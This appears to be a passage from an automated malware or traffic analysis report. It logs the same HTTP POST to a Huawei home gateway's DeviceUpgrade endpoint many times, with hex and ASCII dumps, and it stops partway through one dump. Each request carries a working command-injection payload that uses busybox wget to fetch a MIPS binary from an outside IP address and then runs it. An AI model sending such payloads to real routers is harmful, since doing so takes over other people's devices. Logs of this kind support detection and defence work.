Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 